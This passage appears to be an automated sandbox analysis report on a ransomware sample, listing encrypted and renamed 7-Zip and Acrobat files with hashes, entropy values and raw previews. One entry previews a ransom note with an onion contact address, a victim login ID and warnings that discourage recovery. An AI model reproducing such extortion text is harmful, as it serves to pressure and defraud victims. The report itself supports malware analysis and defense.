Preview:	...t\.F..m{`#(W]Y.;YW.[../...:..]:...9.G.9R}V..f......1.'3W... - 22.00 : Jack Pang..;..;..;..;..;..;..;..;..;..0..7-Zip..Chinese Traditional........401.................(&Y)[3...,..C.....<.t'q...~.......jk8...0,....K.w........B..A)......(&L)................(&B)......(&F)....(&P).............?..500.\.......L`-.....L.\|{oR..D.[...d}.d...f...`..<.]q_&H.5.....)....(&H)..540....(&O).......(&I).......(&U)....(&V)....(&E)......(&M).....(&C..fap..$+.....3R.3zs.v.Q....Y2...Y.i..{.N....'.n2.5v\|..1u...P.m...(&B).......(&R)....(&N)..............................(&X).................K`-.K3+y......z..[.(..#7..[e..........t..z.......U................................700.....(&G).....(&M)....(&L)......(&D)..730[3...X..u..-.....f.....d"....d.....j..n.

C:\Program Files\7-Zip\Lang\zh-tw.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8668
Entropy (8bit):	7.088120177335737
Encrypted:	false
SSDEEP:	192:ng5RTO2JQeMBqXBfFwk2pEuwT0/9D9iKhcOdX47AJmHnniRa18XWi0FmcyyS:GRTbJQWIk2py+DgMX43nnP8XMM9l
MD5:	BE6F3301E94A152C05802380797FE474
SHA1:	276F75141EAA3D17F6F18B124FAB4EE736655640
SHA-256:	C74CD32611A4AE1EA6B09566763D5B78E6CA49CB592070C061ED32AA0D4F1A5F
SHA-512:	052700FFADD15EF4D0A948E0B6C3785091D70218996D0D12C8D0F6C739F018B18374BD821902D412277B574FED7767CC5D53E0515774276571B38C0EA95F7ECC
Malicious:	false
Preview:	...t\.F..m{`#(W]Y.;YW.[../...:..]:...9.G.9R}V..f......1.'3W... - 22.00 : Jack Pang..;..;..;..;..;..;..;..;..;..0..7-Zip..Chinese Traditional........401.................(&Y)[3...,..C.....<.t'q...~.......jk8...0,....K.w........B..A)......(&L)................(&B)......(&F)....(&P).............?..500.\.......L`-.....L.\|{oR..D.[...d}.d...f...`..<.]q_&H.5.....)....(&H)..540....(&O).......(&I).......(&U)....(&V)....(&E)......(&M).....(&C..fap..$+.....3R.3zs.v.Q....Y2...Y.i..{.N....'.n2.5v\|..1u...P.m...(&B).......(&R)....(&N)..............................(&X).................K`-.K3+y......z..[.(..#7..[e..........t..z.......U................................700.....(&G).....(&M)....(&L)......(&D)..730[3...X..u..-.....f.....d"....d.....j..n.

C:\Program Files\7-Zip\License.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4304
Entropy (8bit):	7.774691374553976
Encrypted:	false
SSDEEP:	96:Z+4OmQXunxGh4qdsOyG18MfotT6lKzcn9SS:Z+49QXunUhX3/SxaLn9SS
MD5:	B3BA8B6E39013C5D180B7645D70E04CC
SHA1:	EA546935652D25B16A063A28C98DA37B53C93202
SHA-256:	EE547110B3E358A7B710A83C0A7575101760A3157D72AFF62350B304A40AF8BF
SHA-512:	00E59A87E0A1170406DB7BD29F5EF15E5864B03BDCECFD29BE6E797ED977FE80A856A53C4FDCA98DE45E1BCB8AE10E5D798C2B5898D8DA5C793960FC6BDFE3D1
Malicious:	false
Preview:	...k.f.Nf\A.a....b...(\^F.lg..pQ7.S...w..A.......{..D.;M....Q...O.h.:8.A.a....X<...3?'.?(._K".q...a..].J..[c.MO..V.w.]...]....].`.ILq5M?....J+...>W^.Sez..lN7.....)f.8tJ..Rr.TA....).p.W.......;.....OX.0..a...H,A.NTcf..lA7.A.K.\|..X....%.......!Vp.W.......;.....OX.0..a...H:[YK.(}..Dpr.[...`..G..... .....D.A]...J...T...df\.M?.E..r..J.ai..'k..pQ7.~...}...^...R0....E.. >w.W.....].6.0..MMy.....b...m.jm`D..I.\|.8.a.39.Q.....!....H..,]]...N..^.{.)3.KMm....B7..H?WABAol..lA7.A.K.}..G.....-....KD.-Z....C...<.6..).ZW..E......H.SC.@ym.(x;.....r........7..Z.O..)F.........\.c.!4\V.?.E..K/...$SA.?(.jP5.\...g..[PJ...c....RD. V........B.s.d)...~.E..Tb..2$B..?...%...g.'.C'.\....."....+n.e.P.Z........;.ikQ.@2.o..b..<%[^.Ycj..w[r.A...v..F.....1.OV.I..&R....K..X.c.!f.KM~....TO..Hm.@LQcn..lVr.\...3..P^....0....R..et3.W.J.....s.!4.SMO....EO..Hm.aJVof..%C!.B...z..P.J..R7..V.T..e`....N..^.x.%2.P.$....N'..bm...Coz..jLr...K.uK.].J...&.......e...W.@..A...*o\^.f....C0..?ADL[$....r.....

C:\Program Files\7-Zip\License.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4304
Entropy (8bit):	7.774691374553976
Encrypted:	false
SSDEEP:	96:Z+4OmQXunxGh4qdsOyG18MfotT6lKzcn9SS:Z+49QXunUhX3/SxaLn9SS
MD5:	B3BA8B6E39013C5D180B7645D70E04CC
SHA1:	EA546935652D25B16A063A28C98DA37B53C93202
SHA-256:	EE547110B3E358A7B710A83C0A7575101760A3157D72AFF62350B304A40AF8BF
SHA-512:	00E59A87E0A1170406DB7BD29F5EF15E5864B03BDCECFD29BE6E797ED977FE80A856A53C4FDCA98DE45E1BCB8AE10E5D798C2B5898D8DA5C793960FC6BDFE3D1
Malicious:	false
Preview:	...k.f.Nf\A.a....b...(\^F.lg..pQ7.S...w..A.......{..D.;M....Q...O.h.:8.A.a....X<...3?'.?(._K".q...a..].J..[c.MO..V.w.]...]....].`.ILq5M?....J+...>W^.Sez..lN7.....)f.8tJ..Rr.TA....).p.W.......;.....OX.0..a...H,A.NTcf..lA7.A.K.\|..X....%.......!Vp.W.......;.....OX.0..a...H:[YK.(}..Dpr.[...`..G..... .....D.A]...J...T...df\.M?.E..r..J.ai..'k..pQ7.~...}...^...R0....E.. >w.W.....].6.0..MMy.....b...m.jm`D..I.\|.8.a.39.Q.....!....H..,]]...N..^.{.)3.KMm....B7..H?WABAol..lA7.A.K.}..G.....-....KD.-Z....C...<.6..).ZW..E......H.SC.@ym.(x;.....r........7..Z.O..)F.........\.c.!4\V.?.E..K/...$SA.?(.jP5.\...g..[PJ...c....RD. V........B.s.d)...~.E..Tb..2$B..?...%...g.'.C'.\....."....+n.e.P.Z........;.ikQ.@2.o..b..<%[^.Ycj..w[r.A...v..F.....1.OV.I..&R....K..X.c.!f.KM~....TO..Hm.@LQcn..lVr.\...3..P^....0....R..et3.W.J.....s.!4.SMO....EO..Hm.aJVof..%C!.B...z..P.J..R7..V.T..e`....N..^.x.%2.P.$....N'..bm...Coz..jLr...K.uK.].J...&.......e...W.@..A...*o\^.f....C0..?ADL[$....r.....

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	6.605750948034536
Encrypted:	false
SSDEEP:	192:JezfDSacjjq6537jurXKLx6LFdrHMhgNQnET4ewVXNlxAJihHKWBxolZbk/E2v/x:wXSFZ5372XW6xVMXeJ+qS5THjF
MD5:	6646C753EA9C4E3CFA36D2F10B5A2864
SHA1:	EC8A14C343A7A6EA1703D29355E7D151B4B06B01
SHA-256:	87CCCDA6FA25B6D66D8EF5B91A9C428902095B4AFD279763BCF762A4DC0CCB6B
SHA-512:	E2D21566AE8CA391A0FC31F4E835880C41F2CBA8FCB4483C66606DC6D8F93E2629AB860C45454F6A10124D83DB085827F57056F76B0E3391C07B6469EBB33FDC
Malicious:	true
Preview:	<.r.>.Hy.{<V..O.t#.P...Y.).h...ca.F7.L........4k.....:W..8B..........!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.P..%+...w.b.......@.GR...Y.).h...ca.F7.L....[...D%.....:W..0B...........@......f!.......0....@..........................p..............................................$9.......`..............q...=.Hy.{<V.p.OUt#.P....Y.).h...ca.F7.L........4k.....:W...B...0...............................text............................... ..`.rdata.......0......................@..@.data...X....@..q...=5Hy.{<V.p.OUt#......+r[.h..\|la.FW.L.......4k.....:W...B..................................................................................................................................q...=.Hy.{<V.p.OUt#.P....Y.).h...ca.F7.L........4k.....:W...B..................................................................................................................................q...=.Hy.{<V.p.OUt#.P....Y.).h...ca.F7.L

C:\Program Files\7-Zip\Uninstall.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	6.605750948034536
Encrypted:	false
SSDEEP:	192:JezfDSacjjq6537jurXKLx6LFdrHMhgNQnET4ewVXNlxAJihHKWBxolZbk/E2v/x:wXSFZ5372XW6xVMXeJ+qS5THjF
MD5:	6646C753EA9C4E3CFA36D2F10B5A2864
SHA1:	EC8A14C343A7A6EA1703D29355E7D151B4B06B01
SHA-256:	87CCCDA6FA25B6D66D8EF5B91A9C428902095B4AFD279763BCF762A4DC0CCB6B
SHA-512:	E2D21566AE8CA391A0FC31F4E835880C41F2CBA8FCB4483C66606DC6D8F93E2629AB860C45454F6A10124D83DB085827F57056F76B0E3391C07B6469EBB33FDC
Malicious:	false
Preview:	<.r.>.Hy.{<V..O.t#.P...Y.).h...ca.F7.L........4k.....:W..8B..........!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.P..%+...w.b.......@.GR...Y.).h...ca.F7.L....[...D%.....:W..0B...........@......f!.......0....@..........................p..............................................$9.......`..............q...=.Hy.{<V.p.OUt#.P....Y.).h...ca.F7.L........4k.....:W...B...0...............................text............................... ..`.rdata.......0......................@..@.data...X....@..q...=5Hy.{<V.p.OUt#......+r[.h..\|la.FW.L.......4k.....:W...B..................................................................................................................................q...=.Hy.{<V.p.OUt#.P....Y.).h...ca.F7.L........4k.....:W...B..................................................................................................................................q...=.Hy.{<V.p.OUt#.P....Y.).h...ca.F7.L

C:\Program Files\7-Zip\descript.ion

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	680
Entropy (8bit):	7.071165121259964
Encrypted:	false
SSDEEP:	12:evfka5jIbX1myp/BafXGTKISyxekQPhCTbL6wL45kNxgmFSnOS:enkssX1EGT7ykQP4T3eSjzS
MD5:	CF0BBDDFEEAA49109BB4798AFCB8A877
SHA1:	92F3EE24DD86A8B6A550414F088DA0EB9DB6AEF7
SHA-256:	8E8F08FCD86A2BEBCEACFF6BAFFFC091EA28AE809BA538EEB0CE8D58C804AB6A
SHA-512:	60EA2C3AC6DBE1281AC70C8A78C4050D88EF3A5942F1763C44B4B74F9ED889BFBC3F5EAE72E9C9CF5FB607113326B000617E11C43CB1AA2BC77C3A9B0251CDE8
Malicious:	false
Preview:	..8........&;.R.....V.1..H...43......68....Y..yKc..s....7yI.7...SY....._..`...V.1.qi...m{.........a ...#..8.k.^..8Q4?a.u.>..J.../.......O.. .f...#]...........E...3.'....\b9.5\|...........5..b..........!...p}.......a ...#....EC..0.E2..6w.O.........*..-...)..,.#U...bp......$l..b..%....:.I,."wtxt 7-Zip License..readme.txt 7-Zip Overview.....F...-...U..eDZ..Ey...Ai..]r.0..".:...;.oc..f/..s".t2-~.n.y.7.../.)....9.l.........U#Cb.U.'c9P.-..\|LR..k.........`/......C.y...W....v.$k........&.................0.......?62...._..Z.4]...J.,.>.....................................................................................@.........29yp10v5m8k.

C:\Program Files\7-Zip\descript.ion.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	680
Entropy (8bit):	7.071165121259964
Encrypted:	false
SSDEEP:	12:evfka5jIbX1myp/BafXGTKISyxekQPhCTbL6wL45kNxgmFSnOS:enkssX1EGT7ykQP4T3eSjzS
MD5:	CF0BBDDFEEAA49109BB4798AFCB8A877
SHA1:	92F3EE24DD86A8B6A550414F088DA0EB9DB6AEF7
SHA-256:	8E8F08FCD86A2BEBCEACFF6BAFFFC091EA28AE809BA538EEB0CE8D58C804AB6A
SHA-512:	60EA2C3AC6DBE1281AC70C8A78C4050D88EF3A5942F1763C44B4B74F9ED889BFBC3F5EAE72E9C9CF5FB607113326B000617E11C43CB1AA2BC77C3A9B0251CDE8
Malicious:	false
Preview:	..8........&;.R.....V.1..H...43......68....Y..yKc..s....7yI.7...SY....._..`...V.1.qi...m{.........a ...#..8.k.^..8Q4?a.u.>..J.../.......O.. .f...#]...........E...3.'....\b9.5\|...........5..b..........!...p}.......a ...#....EC..0.E2..6w.O.........*..-...)..,.#U...bp......$l..b..%....:.I,."wtxt 7-Zip License..readme.txt 7-Zip Overview.....F...-...U..eDZ..Ey...Ai..]r.0..".:...;.oc..f/..s".t2-~.n.y.7.../.)....9.l.........U#Cb.U.'c9P.-..\|LR..k.........`/......C.y...W....v.$k........&.................0.......?62...._..Z.4]...J.,.>.....................................................................................@.........29yp10v5m8k.

C:\Program Files\7-Zip\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\7-Zip\readme.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2022
Entropy (8bit):	7.6511890856336455
Encrypted:	false
SSDEEP:	48:UkKVsfyCZ53UUMml9/51RQRHhAi7e5w3K8ZfjS:cGf3kUDjyuCS
MD5:	7D5A8E0370E8AC2586141A24010F8309
SHA1:	BAD3FF296D04EB4D1CECDC2E55DEA458857B7A91
SHA-256:	DF405EBA0E4EEE3C1AAB91E671C2DE0C1C407AAD40990804DA21D4AFE1FA8685
SHA-512:	86EDBAD6CA4B1DE9DBD481AD16182D3CDF9313727C521F1C9462DE9431672B0AE8E7E041007F3FB4314409D587F15EB1A99A980341707666DDBD6482ECE68A8B
Malicious:	false
Preview:	~..!#.W.....#...}Ig...:.T.(o.257".2..l....s.A.qg.q9U...\|...U...g.LEY.Ho....~..K7.>...>.o..a.Zlu1..\.>T...?.E...f....N.=/.XW...<.#;s........4..(]nj..._.9..;..,5g.2R."T...:...w..\|.U...\|q.XW...(.KBs.H....\|..Fp.%.T.c.d.(x.H\|g/..Z.'....\|.F.io.."..T.k<.Xi;......a.Er...Z...p>....y.~.k..eVg".a..l!...0.Z.~..z'..N....T. ..i.....'T.......`\|D..t.7...mt.+.&o.....9.....g.9H@gU.>.pf.>bM..i.fhs.E.........pDj...^....x.;.k"..s.l8.....~.K"KY.<.N....T./....f...2......"..(pDj...7.~..x.H\|g".a..lT.....`.lo.\|.&.N....Xd$..e.....Ec.....F...p2..r.7....9..\|.,.K..aT...'.P.t~.q8....\|'......&.6:6..\........q5.,.\.c.?.V1..\|$c. Y. ....5.A..tKr$....QL.X.A..;.(/s. f....k..P).>.V.7.0.."..2#"..k.....'.>.9.F4......'..^.. ..h...Q....f..N]nj...G.).P>..\|.k.$..-....!.9.9#KD$....)..^...'.f$:......a..(pDg.u.t.2.X9..3)q.'T.lM..2.T.xi.gF..d.Vq."X..:. :6.EF...\|..F9.>.P.b.;..-..95".)^..:......1k.w...N.34.._3..i.),6.K8.......A5.9...o.~.M..35g.(U.#....:.].xl.a?U...9(...l..C.Lhs..\....z..@%.#.W.g.=.C?.H?(l. R.?T

C:\Program Files\7-Zip\readme.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2022
Entropy (8bit):	7.6511890856336455
Encrypted:	false
SSDEEP:	48:UkKVsfyCZ53UUMml9/51RQRHhAi7e5w3K8ZfjS:cGf3kUDjyuCS
MD5:	7D5A8E0370E8AC2586141A24010F8309
SHA1:	BAD3FF296D04EB4D1CECDC2E55DEA458857B7A91
SHA-256:	DF405EBA0E4EEE3C1AAB91E671C2DE0C1C407AAD40990804DA21D4AFE1FA8685
SHA-512:	86EDBAD6CA4B1DE9DBD481AD16182D3CDF9313727C521F1C9462DE9431672B0AE8E7E041007F3FB4314409D587F15EB1A99A980341707666DDBD6482ECE68A8B
Malicious:	false
Preview:	~..!#.W.....#...}Ig...:.T.(o.257".2..l....s.A.qg.q9U...\|...U...g.LEY.Ho....~..K7.>...>.o..a.Zlu1..\.>T...?.E...f....N.=/.XW...<.#;s........4..(]nj..._.9..;..,5g.2R."T...:...w..\|.U...\|q.XW...(.KBs.H....\|..Fp.%.T.c.d.(x.H\|g/..Z.'....\|.F.io.."..T.k<.Xi;......a.Er...Z...p>....y.~.k..eVg".a..l!...0.Z.~..z'..N....T. ..i.....'T.......`\|D..t.7...mt.+.&o.....9.....g.9H@gU.>.pf.>bM..i.fhs.E.........pDj...^....x.;.k"..s.l8.....~.K"KY.<.N....T./....f...2......"..(pDj...7.~..x.H\|g".a..lT.....`.lo.\|.&.N....Xd$..e.....Ec.....F...p2..r.7....9..\|.,.K..aT...'.P.t~.q8....\|'......&.6:6..\........q5.,.\.c.?.V1..\|$c. Y. ....5.A..tKr$....QL.X.A..;.(/s. f....k..P).>.V.7.0.."..2#"..k.....'.>.9.F4......'..^.. ..h...Q....f..N]nj...G.).P>..\|.k.$..-....!.9.9#KD$....)..^...'.f$:......a..(pDg.u.t.2.X9..3)q.'T.lM..2.T.xi.gF..d.Vq."X..:. :6.EF...\|..F9.>.P.b.;..-..95".)^..:......1k.w...N.34.._3..i.),6.K8.......A5.9...o.~.M..35g.(U.#....:.].xl.a?U...9(...l..C.Lhs..\....z..@%.#.W.g.=.C?.H?(l. R.?T

C:\Program Files\Adobe\Acrobat DC\Acrobat\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	187151
Entropy (8bit):	7.985999741262532
Encrypted:	false
SSDEEP:	3072:w45jrY/M9hRQtD6/aSXwE0LK9voXn6X37c/HhriSYc6mFP74pLdr5ZOD:95j8M9/QrnjLK9voKw/BriSYc6+4pp2
MD5:	4ABA9E0DE83032130EDC6AAC7991B98E
SHA1:	71E50A8324E4FC999B1A9C9FF4823AEE55DB5C17
SHA-256:	7CBDD45C491A6CE07B2D15FC973C89637912B39EC5F54C4AEE1558119B7D706F
SHA-512:	11391274C759E79F6B070773F630757328271CAD600A00C10D696F7B19B56C825D9C71CB9FCF38483C6838ACE25403BE78F55261D855BF3A38E2D55C541E55E9
Malicious:	false
Preview:	=.Z..p.%.}.....D.z....s.v.p.`.mECX\|.k.~.;......4.....'..1>O.N 1/T 186532/H [ 482 168]>>.endobj. ..22 0 obj.<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<BA(.X..v.#..mgr..1.j....(^....M.4b..5.9.}..+..../......E...@2A.>]/Index[10 26]/Info 9 0 R/Length 79/Prev 186533/Root 11 0 R/Size 36/Type/XRef/W[1 3 1]>>stream..h.bbd`.``b``....~ ...D....l. ........o..a...r..nXY.e~u...f....l .(...O..0.......\..4b...`i..bj.startxref..0..%%EOF.. ..35 0 obj.<</Filter/FlateDecode/I 102/L 86/Length 83/S 38>>stream..h.b``.b``2`...8.P.#..0p4 .qA).]..aN.l.+.\.g..LzT..Q.....I.:.I13..VA... .........K...vs..am.endobj.11 0 obj.<</Metadata 2 0 R/PageLabels 6 0 R/Pages 8 0 R/Type/Catalog>>.endobj.12 0 obj.<</Contents 14 0 R/CropBox[0 0 ..,..x.M..M2,.X...j....(/j.f.T.XECTh./.o..I......i..K..u'...U..ate 0/Type/Page>>.endobj.13 0 obj.<</Filter/FlateDecode/First 88/Length 868/N 12/Type/ObjStm>>stream..h..mo.0..._nB.Oy..*u)...U.......F...`.vu..a..l.15 </.....$..-..

C:\Program Files\Adobe\Acrobat DC\Acrobat\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	187151
Entropy (8bit):	7.985999741262532
Encrypted:	false
SSDEEP:	3072:w45jrY/M9hRQtD6/aSXwE0LK9voXn6X37c/HhriSYc6mFP74pLdr5ZOD:95j8M9/QrnjLK9voKw/BriSYc6+4pp2
MD5:	4ABA9E0DE83032130EDC6AAC7991B98E
SHA1:	71E50A8324E4FC999B1A9C9FF4823AEE55DB5C17
SHA-256:	7CBDD45C491A6CE07B2D15FC973C89637912B39EC5F54C4AEE1558119B7D706F
SHA-512:	11391274C759E79F6B070773F630757328271CAD600A00C10D696F7B19B56C825D9C71CB9FCF38483C6838ACE25403BE78F55261D855BF3A38E2D55C541E55E9
Malicious:	false
Preview:	=.Z..p.%.}.....D.z....s.v.p.`.mECX\|.k.~.;......4.....'..1>O.N 1/T 186532/H [ 482 168]>>.endobj. ..22 0 obj.<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<BA(.X..v.#..mgr..1.j....(^....M.4b..5.9.}..+..../......E...@2A.>]/Index[10 26]/Info 9 0 R/Length 79/Prev 186533/Root 11 0 R/Size 36/Type/XRef/W[1 3 1]>>stream..h.bbd`.``b``....~ ...D....l. ........o..a...r..nXY.e~u...f....l .(...O..0.......\..4b...`i..bj.startxref..0..%%EOF.. ..35 0 obj.<</Filter/FlateDecode/I 102/L 86/Length 83/S 38>>stream..h.b``.b``2`...8.P.#..0p4 .qA).]..aN.l.+.\.g..LzT..Q.....I.:.I13..VA... .........K...vs..am.endobj.11 0 obj.<</Metadata 2 0 R/PageLabels 6 0 R/Pages 8 0 R/Type/Catalog>>.endobj.12 0 obj.<</Contents 14 0 R/CropBox[0 0 ..,..x.M..M2,.X...j....(/j.f.T.XECTh./.o..I......i..K..u'...U..ate 0/Type/Page>>.endobj.13 0 obj.<</Filter/FlateDecode/First 88/Length 868/N 12/Type/ObjStm>>stream..h..mo.0..._nB.Oy..*u)...U.......F...`.vu..a..l.15 </.....$..-..

C:\Program Files\Adobe\Acrobat DC\Acrobat\A3DUtils.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	213266
Entropy (8bit):	7.112335255266445
Encrypted:	false
SSDEEP:	3072:52Tp/VHW7QKGUJPk80aPAgmC11JwRZ7YRlHN+jzG0jPn7/ROFZzoAyJg+NynfQEh:5iNV2d0aPAEoKXHN+jzG0jcc7H0
MD5:	E5DD0AE486F44EE728A51E959574826A
SHA1:	C85B2446C073E37D609DF60A1AB15E0CBF23584F
SHA-256:	E217EC01EB1BDC81B1057D5CA10310597A55C443A9D62F1B687417F45236638D
SHA-512:	E1326A9DDA5FD8754C61936532DEEF039EE47C496C2EB459EB5CDDE041FB4845AED03B4B01FC80682F773006BFBE30E680205C557D7CA6E7E740BC9B2D15BE69
Malicious:	false
Preview:	a1......-4L..b.')u....Ld...#....Z...e.m.y.i...\|..^.o..#.H=........!..L.!This program cannot be run in DOS mode....$........ba8X..kX..kX..kQ{.kH..k.w.j@..k.w.jP..k.w.j[..k.w.j^..kLh.jP..k.........F.....M~v.l.pC.&..H*........f...z..H.....Qz=..Fs.GV........PE..d...B..d.........." ..........d..............................................0g.....k.....`A........................,{q......-.....'.w....Nd...#........mvk.i...\|P.^.o.....H=....p.......................(.......8............0..H............................text............................... ..`.rdata...q..7..P.-...&b.')u..G.Ld?..c....;....m.y.i...\|.7\.o..+.H=....@....pdata........f.....................@..@.rsrc.........g.....................@..@.reloc....... g.....................@..B,kq......-...&b.')u..G.Ld...#....Z...e.m.y.i...\|..^.o..+.H=................................................................................................................................,kq......-...&b.')u..G.Ld...#....Z..

C:\Program Files\Adobe\Acrobat DC\Acrobat\A3DUtils.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	213266
Entropy (8bit):	7.112335255266445
Encrypted:	false
SSDEEP:	3072:52Tp/VHW7QKGUJPk80aPAgmC11JwRZ7YRlHN+jzG0jPn7/ROFZzoAyJg+NynfQEh:5iNV2d0aPAEoKXHN+jzG0jcc7H0
MD5:	E5DD0AE486F44EE728A51E959574826A
SHA1:	C85B2446C073E37D609DF60A1AB15E0CBF23584F
SHA-256:	E217EC01EB1BDC81B1057D5CA10310597A55C443A9D62F1B687417F45236638D
SHA-512:	E1326A9DDA5FD8754C61936532DEEF039EE47C496C2EB459EB5CDDE041FB4845AED03B4B01FC80682F773006BFBE30E680205C557D7CA6E7E740BC9B2D15BE69
Malicious:	false
Preview:	a1......-4L..b.')u....Ld...#....Z...e.m.y.i...\|..^.o..#.H=........!..L.!This program cannot be run in DOS mode....$........ba8X..kX..kX..kQ{.kH..k.w.j@..k.w.jP..k.w.j[..k.w.j^..kLh.jP..k.........F.....M~v.l.pC.&..H*........f...z..H.....Qz=..Fs.GV........PE..d...B..d.........." ..........d..............................................0g.....k.....`A........................,{q......-.....'.w....Nd...#........mvk.i...\|P.^.o.....H=....p.......................(.......8............0..H............................text............................... ..`.rdata...q..7..P.-...&b.')u..G.Ld?..c....;....m.y.i...\|.7\.o..+.H=....@....pdata........f.....................@..@.rsrc.........g.....................@..@.reloc....... g.....................@..B,kq......-...&b.')u..G.Ld...#....Z...e.m.y.i...\|..^.o..+.H=................................................................................................................................,kq......-...&b.')u..G.Ld...#....Z..

C:\Program Files\Adobe\Acrobat DC\Acrobat\ACE.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1227538
Entropy (8bit):	7.268404837014752
Encrypted:	false
SSDEEP:	24576:2mLyLMZyyYJ8+vBIX9FGhaujc6ZO4X1ZvmeYPdEAFYM+OAIp:PLTs8+JSKaAc6BvmeYPK6p
MD5:	8B8F09A721EC474669738BDE12C327DC
SHA1:	4B177B69233FBA2C039D59AB0D91F17A3343AD11
SHA-256:	71440B2549383A1BC23399411FDC08B6247DDFF425C92C102FAA85E209641CB0
SHA-512:	3060C7BD6369AC7C6700AF0521A3D1E79FFEE858833CCAB643100C80E5769E991F597993338132B9034BF1E90A30B123AD4941E42FF8FABE155E4749A2EC506E
Malicious:	false
Preview:	.....q.....l.2....y.....,/.....\|.=.D./..o.lk..3d..2................!..L.!This program cannot be run in DOS mode....$........".W.C...C...C...;=..C...7...C...7...C...7...C...7...C...(...C..Wf$.....#\|.HO#6.....C...:.Q.S......."..j'/...as..6..A.yK0..C9..C...7...C..Rich.C..................PE..d...{..d.........." .....V...N......p..........p.....................................4...........2....y.....</.....\|.=.D./..o.lk..6"d`.2H................0..0x.......)......<......T.......................(...P...8............p...............................text....T...........q.......2....Y.....HN...inx.=.I./..o.6f..3d..2.........data...89......."..................@....pdata..0x...0...z..................@..@.rsrc................j..............@..@.reloc...P...kc..+..\|.2....y.....,/......\|.=.D./..o.lk..3d..2.........................................................................................................................................N...q.......2....y.....,/.....\|.=.D.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ACE.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1227538
Entropy (8bit):	7.268404837014752
Encrypted:	false
SSDEEP:	24576:2mLyLMZyyYJ8+vBIX9FGhaujc6ZO4X1ZvmeYPdEAFYM+OAIp:PLTs8+JSKaAc6BvmeYPK6p
MD5:	8B8F09A721EC474669738BDE12C327DC
SHA1:	4B177B69233FBA2C039D59AB0D91F17A3343AD11
SHA-256:	71440B2549383A1BC23399411FDC08B6247DDFF425C92C102FAA85E209641CB0
SHA-512:	3060C7BD6369AC7C6700AF0521A3D1E79FFEE858833CCAB643100C80E5769E991F597993338132B9034BF1E90A30B123AD4941E42FF8FABE155E4749A2EC506E
Malicious:	false
Preview:	.....q.....l.2....y.....,/.....\|.=.D./..o.lk..3d..2................!..L.!This program cannot be run in DOS mode....$........".W.C...C...C...;=..C...7...C...7...C...7...C...7...C...(...C..Wf$.....#\|.HO#6.....C...:.Q.S......."..j'/...as..6..A.yK0..C9..C...7...C..Rich.C..................PE..d...{..d.........." .....V...N......p..........p.....................................4...........2....y.....</.....\|.=.D./..o.lk..6"d`.2H................0..0x.......)......<......T.......................(...P...8............p...............................text....T...........q.......2....Y.....HN...inx.=.I./..o.6f..3d..2.........data...89......."..................@....pdata..0x...0...z..................@..@.rsrc................j..............@..@.reloc...P...kc..+..\|.2....y.....,/......\|.=.D./..o.lk..3d..2.........................................................................................................................................N...q.......2....y.....,/.....\|.=.D.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
